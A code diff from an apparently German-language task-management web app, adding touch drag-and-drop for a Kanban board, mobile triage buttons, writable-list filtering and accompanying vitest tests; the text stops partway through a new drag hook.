setDragOverKanbanCol(colId);
setDragOverTaskTarget(target);
},
onDrop: (taskId, colId, target) => {
clearDragState();
const targetTask = target ? tasks.find((t) => t.id === target.taskId) : undefined;
if (targetTask && target) void moveTaskNextTo(taskId, targetTask, target.position, colId ?? undefined);
else if (colId) void moveTaskToColumn(taskId, colId);
},
onCancel: clearDragState,
});
const handleCreateTaskList = async (e: React.FormEvent) => { const handleCreateTaskList = async (e: React.FormEvent) => {
e.preventDefault(); e.preventDefault();
const title = newListTitle.trim(); const title = newListTitle.trim();
@@ -1093,12 +1217,13 @@ export const TasksView: React.FC<TasksViewProps> = ({
return ( return (
<div <div
key={task.id} key={task.id}
draggable={!readOnly} draggable={canDragTasks && !readOnly}
onDragStart={(e) => handleTaskDragStart(e, task)} onDragStart={(e) => handleTaskDragStart(e, task)}
onDragEnd={() => { onDragEnd={() => {
setDraggingTaskId(null); setDraggingTaskId(null);
setDragOverTaskTarget(null); setDragOverTaskTarget(null);
setDragOverKanbanCol(null); setDragOverKanbanCol(null);
setDragOverListTab(null);
}} }}
onDragOver={(e) => handleTaskDragOver(e, task.id)} onDragOver={(e) => handleTaskDragOver(e, task.id)}
onDragLeave={(e) => handleTaskDragLeave(e, task.id)} onDragLeave={(e) => handleTaskDragLeave(e, task.id)}
@@ -1143,13 +1268,7 @@ export const TasksView: React.FC<TasksViewProps> = ({
</button> </button>
{/* Clickable Title & Metadata */} {/* Clickable Title & Metadata */}
<div <div className="min-w-0 flex-1 cursor-pointer space-y-1">
onClick={() => {
setDetailTaskId(task.id);
setShowDetailModal(true);
}}
className="min-w-0 flex-1 cursor-pointer space-y-1"
>
<div className="flex items-center gap-2 flex-wrap"> <div className="flex items-center gap-2 flex-wrap">
<p <p
className={`text-sm break-words leading-tight ${ className={`text-sm break-words leading-tight ${
@@ -1166,7 +1285,7 @@ export const TasksView: React.FC<TasksViewProps> = ({
{/* Interactive Badges Bar */} {/* Interactive Badges Bar */}
<div <div
className="flex flex-wrap items-center gap-1.5 pt-0.5 empty:hidden" className="flex flex-wrap items-center gap-1.5 pt-0.5 empty:hidden"
onClick={(e) => e.stopPropagation()} onClick={stopOnControl}
> >
{(task.convertedType === 'document_block' || task.docId) && ( {(task.convertedType === 'document_block' || task.docId) && (
<button <button
@@ -1353,9 +1472,20 @@ export const TasksView: React.FC<TasksViewProps> = ({
{safeTaskLists.map((tl) => ( {safeTaskLists.map((tl) => (
<div <div
key={tl.id} key={tl.id}
onDragOver={(e) => {
const task = draggingTaskId ? tasks.find((t) => t.id === draggingTaskId) : null;
if (!task || task.taskListId === tl.id || tl.permission === 'viewer') return;
e.preventDefault();
e.dataTransfer.dropEffect = 'move';
if (dragOverListTab !== tl.id) setDragOverListTab(tl.id);
}}
onDragLeave={() => {
if (dragOverListTab === tl.id) setDragOverListTab(null);
}}
onDrop={(e) => handleDropOnListTab(e, tl)}
className={`relative group h-8 flex items-center border rounded-btn transition-colors ${ className={`relative group h-8 flex items-center border rounded-btn transition-colors ${
selectedListId === tl.id ? 'bg-panel border-accent text-main pr-1' : 'bg-canvas border-border text-muted hover:text-main' selectedListId === tl.id ? 'bg-panel border-accent text-main pr-1' : 'bg-canvas border-border text-muted hover:text-main'
}`} } ${dragOverListTab === tl.id ? 'ring-2 ring-accent/60 bg-accent/10 text-main' : ''}`}
> >
<button <button
onClick={() => setSelectedListId(tl.id)} onClick={() => setSelectedListId(tl.id)}
@@ -1489,7 +1619,8 @@ export const TasksView: React.FC<TasksViewProps> = ({
</div> </div>
{/* Mobile Compact Context Bar (replaces cluttered button rows; options live in MindSift Logo Menu) */} {/* Mobile Compact Context Bar (replaces cluttered button rows; options live in MindSift Logo Menu) */}
<div className="flex sm:hidden items-center justify-between gap-2 px-3 py-2 rounded-btn bg-panel border border-border !mt-0"> {/* Same height with or without the 36 px share button (Tasks, Shopping lists) */}
<div className="flex sm:hidden items-center justify-between gap-2 px-3 py-2 min-h-[54px] rounded-btn bg-panel border border-border !mt-0">
<div className="flex items-center gap-2 min-w-0"> <div className="flex items-center gap-2 min-w-0">
<span className="text-sm font-semibold text-main truncate"> <span className="text-sm font-semibold text-main truncate">
{currentSelectedList ? `${currentSelectedList.icon} ${currentSelectedList.title}` : '📋 Alle Aufgaben'} {currentSelectedList ? `${currentSelectedList.icon} ${currentSelectedList.title}` : '📋 Alle Aufgaben'}
@@ -1646,16 +1777,31 @@ export const TasksView: React.FC<TasksViewProps> = ({
{/* Group By & Sort By Dropdowns & Manage Columns button */} {/* Group By & Sort By Dropdowns & Manage Columns button */}
<div className="flex items-center gap-2 flex-shrink-0 ml-auto"> <div className="flex items-center gap-2 flex-shrink-0 ml-auto">
{viewMode === 'kanban' ? ( {viewMode === 'kanban' ? (
!isSelectedListReadOnly && ( <>
<button {!isSelectedListReadOnly && (
onClick={() => setShowManageColumnsModal(true)} <button
className="btn-action h-7 px-2.5 text-xs flex items-center gap-1.5" onClick={() => setShowManageColumnsModal(true)}
title="Kanban-Spalten hinzufügen, umbenennen oder neu anordnen" className="btn-action h-7 px-2.5 text-xs flex items-center gap-1.5"
> title="Kanban-Spalten hinzufügen, umbenennen oder neu anordnen"
<Columns className="w-3.5 h-3.5 text-accent" /> >
<span>Spalten anpassen</span> <Columns className="w-3.5 h-3.5 text-accent" />
</button> <span>Spalten anpassen</span>
) </button>
)}
<button
type="button"
onClick={toggleKanbanWide}
aria-pressed={kanbanWide}
className="btn-action h-7 w-7 p-0 hidden lg:inline-flex items-center justify-center"
title={kanbanWide ? 'Board wieder normal breit' : 'Board auf volle Breite strecken'}
>
{kanbanWide ? (
<Minimize2 className="w-3.5 h-3.5 text-accent" />
) : (
<Maximize2 className="w-3.5 h-3.5 text-accent" />
)}
</button>
</>
) : ( ) : (
<> <>
{/* Group By */} {/* Group By */}
@@ -2108,7 +2254,13 @@ export const TasksView: React.FC<TasksViewProps> = ({
{viewMode === 'kanban' ? ( {viewMode === 'kanban' ? (
/* DYNAMIC KANBAN BOARD */ /* DYNAMIC KANBAN BOARD */
<div className="space-y-2"> <div className="space-y-2">
<div className="grid grid-cols-1 md:grid-cols-2 lg:grid-cols-4 gap-3 pt-1"> {kanbanTouch.ghost}
<div
className={`grid grid-cols-1 md:grid-cols-2 gap-3 pt-1 lg:w-[var(--kanban-w)] lg:ml-[var(--kanban-ml)] transition-[width,margin] duration-300 ease-out ${
isKanbanWide ? 'lg:grid-cols-[repeat(var(--kanban-cols),minmax(0,1fr))]' : 'lg:grid-cols-4'
}`}
style={kanbanBoardStyle(isKanbanWide, activeColumns.length)}
>
{activeColumns.map((col, colIdx) => { {activeColumns.map((col, colIdx) => {
const colTasks = kanbanTasks.filter((t) => { const colTasks = kanbanTasks.filter((t) => {
if (col.isDone) { if (col.isDone) {
@@ -2130,7 +2282,8 @@ export const TasksView: React.FC<TasksViewProps> = ({
if (dragOverKanbanCol === col.id) setDragOverKanbanCol(null); if (dragOverKanbanCol === col.id) setDragOverKanbanCol(null);
}} }}
onDrop={(e) => handleDropOnKanbanCol(e, col.id)} onDrop={(e) => handleDropOnKanbanCol(e, col.id)}
className={`bg-canvas border border-border flex flex-col min-h-[420px] transition-all ${ data-kanban-col={col.id}
className={`bg-canvas border border-border flex flex-col min-h-[420px] overflow-hidden transition-all ${
dragOverKanbanCol === col.id ? 'ring-2 ring-accent/60 bg-accent/5' : '' dragOverKanbanCol === col.id ? 'ring-2 ring-accent/60 bg-accent/5' : ''
}`} }`}
> >
@@ -2163,21 +2316,25 @@ export const TasksView: React.FC<TasksViewProps> = ({
return ( return (
<div <div
key={task.id} key={task.id}
draggable={!readOnly} draggable={canDragTasks && !readOnly}
onDragStart={(e) => handleTaskDragStart(e, task)} onDragStart={(e) => handleTaskDragStart(e, task)}
onDragEnd={() => { onDragEnd={() => {
setDraggingTaskId(null); setDraggingTaskId(null);
setDragOverTaskTarget(null); setDragOverTaskTarget(null);
setDragOverKanbanCol(null); setDragOverKanbanCol(null);
setDragOverListTab(null);
}} }}
onDragOver={(e) => handleTaskDragOver(e, task.id)} onDragOver={(e) => handleTaskDragOver(e, task.id)}
onDragLeave={(e) => handleTaskDragLeave(e, task.id)} onDragLeave={(e) => handleTaskDragLeave(e, task.id)}
onDrop={(e) => handleDropOnTask(e, task, col.id)} onDrop={(e) => handleDropOnTask(e, task, col.id)}
data-kanban-task={task.id}
{...kanbanTouch.cardProps(task.id, task.content, !readOnly)}
onClick={() => { onClick={() => {
if (kanbanTouch.consumeClick()) return;
setDetailTaskId(task.id); setDetailTaskId(task.id);
setShowDetailModal(true); setShowDetailModal(true);
}} }}
className={`panel-surface p-2.5 space-y-2 hover:border-strong transition-all shadow-sm group relative ${ className={`panel-surface p-2.5 space-y-2 hover:border-strong transition-all shadow-sm group relative select-none ${
readOnly ? 'cursor-pointer' : 'cursor-grab active:cursor-grabbing' readOnly ? 'cursor-pointer' : 'cursor-grab active:cursor-grabbing'
} ${ } ${
isDragging ? 'opacity-30 border border-dashed border-accent/40' : '' isDragging ? 'opacity-30 border border-dashed border-accent/40' : ''
@@ -2230,7 +2387,7 @@ export const TasksView: React.FC<TasksViewProps> = ({
)} )}
{/* Badges: In Notiz, Priority, Status, Tags */} {/* Badges: In Notiz, Priority, Status, Tags */}
<div className="flex flex-wrap items-center gap-1 pt-0.5" onClick={(e) => e.stopPropagation()}> <div className="flex flex-wrap items-center gap-1 pt-0.5" onClick={stopOnControl}>
{(task.convertedType === 'document_block' || task.docId) && ( {(task.convertedType === 'document_block' || task.docId) && (
<button <button
type="button" type="button"
@@ -2315,7 +2472,7 @@ export const TasksView: React.FC<TasksViewProps> = ({
{!readOnly && ( {!readOnly && (
<div <div
className="flex items-center justify-between pt-1 border-t border-border text-[10px]" className="flex items-center justify-between pt-1 border-t border-border text-[10px]"
onClick={(e) => e.stopPropagation()} onClick={stopOnControl}
> >
<button <button
type="button" type="button"
+209 -33
View File
@@ -18,6 +18,9 @@ import {
Edit3, Edit3,
Layers, Layers,
MoreHorizontal, MoreHorizontal,
ArrowLeft,
ArrowRight,
ChevronDown,
} from 'lucide-react'; } from 'lucide-react';
import { SharedList, Thought } from '../../lib/types'; import { SharedList, Thought } from '../../lib/types';
import { addDays, formatDue } from '../../lib/due'; import { addDays, formatDue } from '../../lib/due';
@@ -221,9 +224,15 @@ export const TriageDeck: React.FC<TriageDeckProps> = ({
onDeckChange, onDeckChange,
onFocusCapture, onFocusCapture,
}) => { }) => {
const writableLists = lists.filter((l) => l.isOwner || l.role !== 'viewer');
const singleWritableList = writableLists.length === 1 ? writableLists[0] : null;
const [cards, setCards] = useState<Thought[]>(deck); const [cards, setCards] = useState<Thought[]>(deck);
const [lastTriaged, setLastTriaged] = useState<Thought | null>(null); const [lastTriaged, setLastTriaged] = useState<Thought | null>(null);
const [showDateModal, setShowDateModal] = useState(false); const [showDateModal, setShowDateModal] = useState(false);
// Phones: the waiting queue is folded until asked for
const [showQueueMobile, setShowQueueMobile] = useState(false);
const queueRef = useRef<HTMLDivElement | null>(null);
const [taskDueDate, setTaskDueDate] = useState(() => addDays(1)); const [taskDueDate, setTaskDueDate] = useState(() => addDays(1));
const [showListSelector, setShowListSelector] = useState(false); const [showListSelector, setShowListSelector] = useState(false);
@@ -702,8 +711,8 @@ export const TriageDeck: React.FC<TriageDeckProps> = ({
Quick Dump direkt einer Liste zuordnen: Quick Dump direkt einer Liste zuordnen:
</p> </p>
<div className="flex flex-wrap gap-1.5"> <div className="flex flex-wrap gap-1.5">
{lists.length > 0 ? ( {writableLists.length > 0 ? (
lists.map((lst) => ( writableLists.map((lst) => (
<button <button
key={lst.id} key={lst.id}
onClick={() => onClick={() =>
@@ -722,7 +731,99 @@ export const TriageDeck: React.FC<TriageDeckProps> = ({
</div> </div>
)} )}
{/* Primary Triage Decision Bar: Hidden on mobile (handled via Swipe + Long-Press), shown on Desktop */} {/* Phones: the swipe actions on top (← discard, → task), below a 2×2 block like the long-press sheet */}
<div className="sm:hidden space-y-2">
<div className="grid grid-cols-2 gap-2">
<button
type="button"
onClick={() => handleAction('discard')}
className="min-h-[52px] px-3 py-2 rounded-xl bg-status-err-bg border border-status-err/30 text-status-err text-sm font-semibold flex items-center justify-center gap-2 touch-manipulation cursor-pointer active:scale-98"
>
<ArrowLeft className="w-4 h-4" />
<span>Wegwerfen</span>
</button>
<button
type="button"
onClick={() => handleAction('keep', { convertTo: 'task' })}
className="min-h-[52px] px-3 py-2 rounded-xl bg-accent text-on-accent text-sm font-semibold flex items-center justify-center gap-2 touch-manipulation cursor-pointer active:scale-98"
>
<span>Aufgabe</span>
<ArrowRight className="w-4 h-4" />
</button>
</div>
<div className="grid grid-cols-2 gap-2">
<button
type="button"
disabled={writableLists.length === 0}
onClick={() => {
if (singleWritableList) {
handleAction('keep', { convertTo: 'list_item', targetListId: singleWritableList.id });
return;
}
setShowDateModal(false);
setShowListSelector((prev) => !prev);
}}
className={`min-h-[52px] px-3.5 py-2.5 rounded-xl bg-canvas hover:bg-panel-elevated border border-border text-left flex items-center gap-3 transition-colors cursor-pointer active:scale-98 touch-manipulation ${
writableLists.length === 0 ? 'opacity-40 cursor-not-allowed' : showListSelector ? 'border-accent bg-accent-dim' : ''
}`}
>
<ShoppingCart className="w-5 h-5 text-accent flex-shrink-0" />
<div className="min-w-0">
<div className="text-sm font-semibold text-main">Auf Liste</div>
<div className="text-[11px] text-muted truncate">
{writableLists.length === 0
? 'Keine Liste vorhanden'
: singleWritableList
? singleWritableList.title
: 'Einkauf / Geteilt'}
</div>
</div>
</button>
<button
type="button"
onClick={() => {
setShowListSelector(false);
setShowDateModal((prev) => !prev);
}}
className={`min-h-[52px] px-3.5 py-2.5 rounded-xl bg-canvas hover:bg-panel-elevated border border-border text-left flex items-center gap-3 transition-colors cursor-pointer active:scale-98 touch-manipulation ${showDateModal ? 'border-accent bg-accent-dim' : ''}`}
>
<Calendar className="w-5 h-5 text-accent flex-shrink-0" />
<div>
<div className="text-sm font-semibold text-main">Mit Termin</div>
<div className="text-[11px] text-muted">Datum wählen</div>
</div>
</button>
<button
type="button"
onClick={() => handleAction('keep', { convertTo: 'document' })}
className="min-h-[52px] px-3.5 py-2.5 rounded-xl bg-canvas hover:bg-panel-elevated border border-border text-left flex items-center gap-3 transition-colors cursor-pointer active:scale-98 touch-manipulation"
>
<FileText className="w-5 h-5 text-accent flex-shrink-0" />
<div>
<div className="text-sm font-semibold text-main">Als Notiz</div>
<div className="text-[11px] text-muted">Im Workspace</div>
</div>
</button>
<button
type="button"
disabled={cards.length <= 1}
onClick={() => handleSkipCard()}
className={`min-h-[52px] px-3.5 py-2.5 rounded-xl bg-canvas hover:bg-panel-elevated border border-border text-left flex items-center gap-3 transition-colors cursor-pointer active:scale-98 touch-manipulation ${cards.length <= 1 ? 'opacity-40 cursor-not-allowed' : ''}`}
>
<SkipForward className="w-5 h-5 text-muted flex-shrink-0" />
<div>
<div className="text-sm font-semibold text-main">Später</div>
<div className="text-[11px] text-muted">Ans Ende schieben</div>
</div>
</button>
</div>
</div>
{/* Primary Triage Decision Bar: Hidden on mobile (handled via Mobile Quick Actions / Swipe), shown on Desktop */}
<div className="hidden sm:flex items-center gap-1.5"> <div className="hidden sm:flex items-center gap-1.5">
<button <button
onClick={() => handleAction('discard')} onClick={() => handleAction('discard')}
@@ -746,17 +847,36 @@ export const TriageDeck: React.FC<TriageDeckProps> = ({
</button> </button>
<button <button
disabled={writableLists.length === 0}
onClick={() => { onClick={() => {
if (singleWritableList) {
handleAction('keep', {
convertTo: 'list_item',
targetListId: singleWritableList.id,
});
return;
}
setShowDateModal(false); setShowDateModal(false);
setShowListSelector((prev) => !prev); setShowListSelector((prev) => !prev);
}} }}
title="Auf eine geteilte Liste setzen" title={
className={`btn-action flex-1 h-9 px-3 justify-center whitespace-nowrap ${ writableLists.length === 0
showListSelector ? 'border-accent text-accent bg-accent-dim' : '' ? 'Keine Liste vorhanden'
: singleWritableList
? `Auf ${singleWritableList.title}`
: 'Auf eine geteilte Liste setzen'
}
className={`btn-action flex-1 min-w-0 h-9 px-3 justify-center whitespace-nowrap ${
writableLists.length === 0
? 'opacity-40 cursor-not-allowed'
: showListSelector
? 'border-accent text-accent bg-accent-dim'
: ''
}`} }`}
> >
<ShoppingCart className="w-3.5 h-3.5 text-accent flex-shrink-0" /> <ShoppingCart className="w-3.5 h-3.5 text-accent flex-shrink-0" />
<span>Auf Liste</span> {/* A long list name is cut off (full name in the tooltip), so the bar never grows wider than the card */}
<span className="truncate">{singleWritableList ? `Auf ${singleWritableList.title}` : 'Auf Liste'}</span>
</button> </button>
<button <button
@@ -794,28 +914,58 @@ export const TriageDeck: React.FC<TriageDeckProps> = ({
{/* Waiting Quick Dump Queue List (Touch-sized & Swipeable Left/Right) */} {/* Waiting Quick Dump Queue List (Touch-sized & Swipeable Left/Right) */}
{cards.length > 1 && ( {cards.length > 1 && (
<div className="pt-2"> <div className="pt-2" ref={queueRef}>
<div className="flex items-center justify-between mb-2 px-1"> {/* Phones: the queue stays folded so the card and its buttons fit on the screen */}
<span className="text-xs font-semibold uppercase tracking-wider text-muted flex items-center gap-1.5"> <button
<Layers className="w-3.5 h-3.5 text-accent" /> type="button"
Warteschlange ({cards.length - 1}) aria-expanded={showQueueMobile}
onClick={() => {
const opening = !showQueueMobile;
setShowQueueMobile(opening);
if (opening) {
window.setTimeout(() => queueRef.current?.scrollIntoView({ behavior: 'smooth', block: 'start' }), 320);
}
}}
className="sm:hidden w-full min-h-[48px] px-3 rounded-xl border border-border bg-panel text-sm font-medium text-main flex items-center justify-center gap-2 touch-manipulation cursor-pointer"
>
<Layers className="w-4 h-4 text-accent" />
<span>
Warteschlange {showQueueMobile ? 'ausblenden' : 'anzeigen'} ({cards.length - 1})
</span> </span>
<span className="text-[11px] text-faint"> <ChevronDown
Tippen = Vorholen · 👈 Wegwerfen · 👉 Aufgabe className={`w-4 h-4 text-muted transition-transform duration-300 ${showQueueMobile ? 'rotate-180' : ''}`}
</span> />
</div> </button>
{/* Folds open/closed on phones; always open from sm upwards */}
<div
className={`grid transition-[grid-template-rows,opacity,visibility] duration-300 ease-out sm:grid-rows-[1fr] sm:opacity-100 sm:visible ${
showQueueMobile ? 'grid-rows-[1fr] opacity-100 visible' : 'grid-rows-[0fr] opacity-0 invisible'
}`}
>
<div className="overflow-hidden min-h-0">
<div className="flex items-center justify-between mb-2 px-1 pt-2 sm:pt-0">
<span className="text-xs font-semibold uppercase tracking-wider text-muted flex items-center gap-1.5">
<Layers className="w-3.5 h-3.5 text-accent" />
Warteschlange ({cards.length - 1})
</span>
<span className="text-[11px] text-faint">
Tippen = Vorholen · 👈 Wegwerfen · 👉 Aufgabe
</span>
</div>
<div className="panel-surface divide-y divide-border max-h-80 overflow-y-auto overflow-x-hidden"> <div className="panel-surface divide-y divide-border max-h-80 overflow-y-auto overflow-x-hidden">
{cards.slice(1).map((item) => ( {cards.slice(1).map((item) => (
<SwipeableQueueItem <SwipeableQueueItem
key={item.id} key={item.id}
item={item} item={item}
lists={lists} lists={writableLists}
onBringToFront={handleBringToFront} onBringToFront={handleBringToFront}
onOpenActionSheet={openActionSheetForCard} onOpenActionSheet={openActionSheetForCard}
onAction={handleAction} onAction={handleAction}
/> />
))} ))}
</div>
</div>
</div> </div>
</div> </div>
)} )}
@@ -854,13 +1004,39 @@ export const TriageDeck: React.FC<TriageDeckProps> = ({
<div className="grid grid-cols-2 gap-2"> <div className="grid grid-cols-2 gap-2">
<button <button
type="button" type="button"
onClick={() => setSheetMode('list')} disabled={writableLists.length === 0}
className="min-h-[52px] px-3.5 py-2.5 rounded-xl bg-canvas hover:bg-panel-elevated border border-border text-left flex items-center gap-3 transition-colors cursor-pointer active:scale-98" onClick={() => {
if (singleWritableList) {
handleAction('keep', {
convertTo: 'list_item',
targetListId: singleWritableList.id,
thoughtOverride: actionSheetCard,
});
return;
}
setSheetMode('list');
}}
title={
writableLists.length === 0
? 'Keine Liste vorhanden'
: singleWritableList
? `Auf ${singleWritableList.title}`
: 'Auf Liste setzen'
}
className={`min-h-[52px] px-3.5 py-2.5 rounded-xl bg-canvas hover:bg-panel-elevated border border-border text-left flex items-center gap-3 transition-colors cursor-pointer active:scale-98 ${
writableLists.length === 0 ? 'opacity-40 cursor-not-allowed' : ''
}`}
> >
<ShoppingCart className="w-5 h-5 text-accent flex-shrink-0" /> <ShoppingCart className="w-5 h-5 text-accent flex-shrink-0" />
<div> <div className="min-w-0">
<div className="text-sm font-semibold text-main">Auf Liste</div> <div className="text-sm font-semibold text-main">Auf Liste</div>
<div className="text-[11px] text-muted">Einkauf / Geteilt</div> <div className="text-[11px] text-muted truncate">
{writableLists.length === 0
? 'Keine Liste vorhanden'
: singleWritableList
? singleWritableList.title
: 'Einkauf / Geteilt'}
</div>
</div> </div>
</button> </button>
@@ -999,8 +1175,8 @@ export const TriageDeck: React.FC<TriageDeckProps> = ({
Auf welche Liste soll dieser Punkt gesetzt werden? Auf welche Liste soll dieser Punkt gesetzt werden?
</p> </p>
<div className="max-h-60 overflow-y-auto space-y-1.5"> <div className="max-h-60 overflow-y-auto space-y-1.5">
{lists.length > 0 ? ( {writableLists.length > 0 ? (
lists.map((lst) => ( writableLists.map((lst) => (
<button <button
key={lst.id} key={lst.id}
type="button" type="button"
@@ -1,6 +1,7 @@
import { describe, it, expect, vi } from 'vitest'; import { describe, it, expect, vi } from 'vitest';
import { render, screen, fireEvent } from '@testing-library/react'; import { render, screen, fireEvent, waitFor } from '@testing-library/react';
import { TaskDetailModal } from '../TaskDetailModal'; import { TaskDetailModal } from '../TaskDetailModal';
import { api } from '../../../lib/api';
import { Thought } from '../../../lib/types'; import { Thought } from '../../../lib/types';
const task: Thought = { const task: Thought = {
@@ -67,4 +68,20 @@ describe('TaskDetailModal', () => {
expect(screen.getByText('Aufgabe ansehen')).toBeTruthy(); expect(screen.getByText('Aufgabe ansehen')).toBeTruthy();
expect((screen.getByLabelText('Fälligkeitsdatum') as HTMLInputElement).closest('fieldset')?.disabled).toBe(true); expect((screen.getByLabelText('Fälligkeitsdatum') as HTMLInputElement).closest('fieldset')?.disabled).toBe(true);
}); });
it('toggles watching a task via POST and DELETE /tasks/{id}/watch', async () => {
const watchSpy = vi.spyOn(api, 'watchTask').mockResolvedValue({ watching: true });
const unwatchSpy = vi.spyOn(api, 'unwatchTask').mockResolvedValue({ watching: false });
render(<TaskDetailModal {...props({ task: { ...task, isWatching: false } })} />);
const btn = screen.getByRole('button', { name: 'Beobachten' });
fireEvent.click(btn);
await waitFor(() => expect(watchSpy).toHaveBeenCalledWith('th_1'));
expect(screen.getByRole('button', { name: 'Nicht mehr beobachten' })).toBeTruthy();
fireEvent.click(screen.getByRole('button', { name: 'Nicht mehr beobachten' }));
await waitFor(() => expect(unwatchSpy).toHaveBeenCalledWith('th_1'));
expect(screen.getByRole('button', { name: 'Beobachten' })).toBeTruthy();
});
}); });
@@ -0,0 +1,185 @@
import React from 'react';
import { describe, it, expect, vi, beforeEach } from 'vitest';
import { render, screen, fireEvent, waitFor } from '@testing-library/react';
import { TriageDeck } from '../TriageDeck';
import { api } from '../../../lib/api';
import { SharedList, Thought } from '../../../lib/types';
const sampleDeck: Thought[] = [
{
id: 'th_1',
userId: 'u_1',
content: 'Hafermilch und Kaffeebohnen',
status: 'inbox',
priority: 'normal',
source: 'manual',
isCompleted: false,
tags: [],
createdAt: '2026-10-29T10:00:00Z',
},
];
const ownList: SharedList = {
id: 'lst_own',
title: 'Wocheneinkauf',
icon: '🛒',
listType: 'shopping',
isOwner: true,
role: 'owner',
items: [],
createdAt: '2026-10-29T10:00:00Z',
updatedAt: '2026-10-29T10:00:00Z',
};
const secondEditableList: SharedList = {
id: 'lst_edit',
title: 'Baumarkt',
icon: '🔨',
listType: 'checklist',
isOwner: false,
role: 'editor',
items: [],
createdAt: '2026-10-29T10:00:00Z',
updatedAt: '2026-10-29T10:00:00Z',
};
const viewerList: SharedList = {
id: 'lst_view',
title: 'WG-Archiv',
icon: '📋',
listType: 'checklist',
isOwner: false,
role: 'viewer',
items: [],
createdAt: '2026-10-29T10:00:00Z',
updatedAt: '2026-10-29T10:00:00Z',
};
describe('TriageDeck single-list shortcut', () => {
beforeEach(() => {
vi.restoreAllMocks();
vi.spyOn(api, 'triageAction').mockResolvedValue(sampleDeck[0]);
});
it('directly assigns to the single own list without opening the selector', async () => {
const onDeckChange = vi.fn();
render(
<TriageDeck
deck={sampleDeck}
lists={[ownList]}
onDeckChange={onDeckChange}
onOpenDocument={vi.fn()}
onFocusCapture={vi.fn()}
/>
);
const btn = screen.getByRole('button', { name: /Auf Wocheneinkauf/i });
expect((btn as HTMLButtonElement).disabled).toBe(false);
fireEvent.click(btn);
await waitFor(() => {
expect(api.triageAction).toHaveBeenCalledWith('th_1', 'keep', {
convertTo: 'list_item',
targetListId: 'lst_own',
dueDate: undefined,
});
expect(onDeckChange).toHaveBeenCalledTimes(1);
});
expect(screen.queryByText(/Quick Dump direkt einer Liste zuordnen/i)).toBeNull();
});
it('opens the list selector when two writable lists exist instead of assigning directly', () => {
const onDeckChange = vi.fn();
render(
<TriageDeck
deck={sampleDeck}
lists={[ownList, secondEditableList]}
onDeckChange={onDeckChange}
onOpenDocument={vi.fn()}
onFocusCapture={vi.fn()}
/>
);
const btn = screen.getByRole('button', { name: /^Auf Liste$/i });
fireEvent.click(btn);
expect(api.triageAction).not.toHaveBeenCalled();
expect(onDeckChange).not.toHaveBeenCalled();
expect(screen.getByText(/Quick Dump direkt einer Liste zuordnen/i)).toBeTruthy();
expect(screen.getByRole('button', { name: /Wocheneinkauf/i })).toBeTruthy();
expect(screen.getByRole('button', { name: /Baumarkt/i })).toBeTruthy();
});
it('treats one own list and one viewer-only shared list as a single writable list', async () => {
const onDeckChange = vi.fn();
render(
<TriageDeck
deck={sampleDeck}
lists={[viewerList, ownList]}
onDeckChange={onDeckChange}
onOpenDocument={vi.fn()}
onFocusCapture={vi.fn()}
/>
);
const btn = screen.getByRole('button', { name: /Auf Wocheneinkauf/i });
fireEvent.click(btn);
await waitFor(() => {
expect(api.triageAction).toHaveBeenCalledWith('th_1', 'keep', {
convertTo: 'list_item',
targetListId: 'lst_own',
dueDate: undefined,
});
expect(onDeckChange).toHaveBeenCalledTimes(1);
});
});
it('disables the list button when no writable list exists', () => {
const onDeckChange = vi.fn();
render(
<TriageDeck
deck={sampleDeck}
lists={[viewerList]}
onDeckChange={onDeckChange}
onOpenDocument={vi.fn()}
onFocusCapture={vi.fn()}
/>
);
const btn = screen.getByRole('button', { name: /^Auf Liste$/i }) as HTMLButtonElement;
expect(btn.disabled).toBe(true);
expect(btn.title).toBe('Keine Liste vorhanden');
fireEvent.click(btn);
expect(api.triageAction).not.toHaveBeenCalled();
expect(onDeckChange).not.toHaveBeenCalled();
});
it('renders mobile quick action buttons and triggers discard', async () => {
const onDeckChange = vi.fn();
render(
<TriageDeck
deck={sampleDeck}
lists={[ownList]}
onDeckChange={onDeckChange}
onOpenDocument={vi.fn()}
onFocusCapture={vi.fn()}
/>
);
const [mobileDiscard] = screen.getAllByRole('button', { name: /^Wegwerfen$/i });
fireEvent.click(mobileDiscard);
await waitFor(() => {
expect(api.triageAction).toHaveBeenCalledWith('th_1', 'discard', expect.objectContaining({}));
expect(onDeckChange).toHaveBeenCalledTimes(1);
});
});
});
@@ -0,0 +1,169 @@
import React, { useCallback, useEffect, useRef, useState } from 'react';
import { createPortal } from 'react-dom';
// Drag & drop on the Kanban board with a finger (browsers offer HTML5 drag & drop only for mouse and
// pen): hold a card for a moment, it lifts, drag it onto another card or column, let go. A short tap
// still opens the task and a swipe still scrolls, because the drag starts only after the hold.
// Cards carry data-kanban-task="<id>", columns data-kanban-col="<id>".
const HOLD_MS = 350;
const MOVE_TOLERANCE = 8; // px a finger may wander during the hold before it counts as scrolling
const EDGE = 90; // px near the top/bottom edge that scroll the page while dragging
export type KanbanDropTarget = { taskId: string; position: 'before' | 'after' } | null;
interface Options {
enabled: boolean;
onStart: (taskId: string) => void;
onHover: (colId: string | null, target: KanbanDropTarget) => void;
onDrop: (taskId: string, colId: string | null, target: KanbanDropTarget) => void;
onCancel: () => void;
}
interface Drag {
taskId: string;
label: string;
x: number;
y: number;
offsetX: number;
offsetY: number;
width: number;
}
export function useKanbanTouchDrag({ enabled, onStart, onHover, onDrop, onCancel }: Options) {
const [drag, setDrag] = useState<Drag | null>(null);
const holdRef = useRef<{ timer: number; x: number; y: number } | null>(null);
const dragRef = useRef<Drag | null>(null);
const hoverRef = useRef<{ col: string | null; target: KanbanDropTarget }>({ col: null, target: null });
const suppressClickRef = useRef(false);
const callbacks = useRef({ onStart, onHover, onDrop, onCancel });
callbacks.current = { onStart, onHover, onDrop, onCancel };
const cancelHold = () => {
if (holdRef.current) window.clearTimeout(holdRef.current.timer);
holdRef.current = null;
};
const hoverAt = (x: number, y: number) => {
const el = document.elementFromPoint(x, y) as HTMLElement | null;
const card = el?.closest('[data-kanban-task]') as HTMLElement | null;
const col = (el?.closest('[data-kanban-col]') as HTMLElement | null)?.dataset.kanbanCol ?? null;
let target: KanbanDropTarget = null;
const cardId = card?.dataset.kanbanTask;
if (card && cardId && cardId !== dragRef.current?.taskId) {
const r = card.getBoundingClientRect();
target = { taskId: cardId, position: y - r.top < r.height / 2 ? 'before' : 'after' };
}
const prev = hoverRef.current;
if (prev.col !== col || prev.target?.taskId !== target?.taskId || prev.target?.position !== target?.position) {
hoverRef.current = { col, target };
callbacks.current.onHover(col, target);
}
};
// While dragging: the page must not scroll under the finger (non-passive listener), it scrolls
// only near the edges
useEffect(() => {
if (!drag) return;
let frame = 0;
const scroll = () => {
const d = dragRef.current;
if (d) {
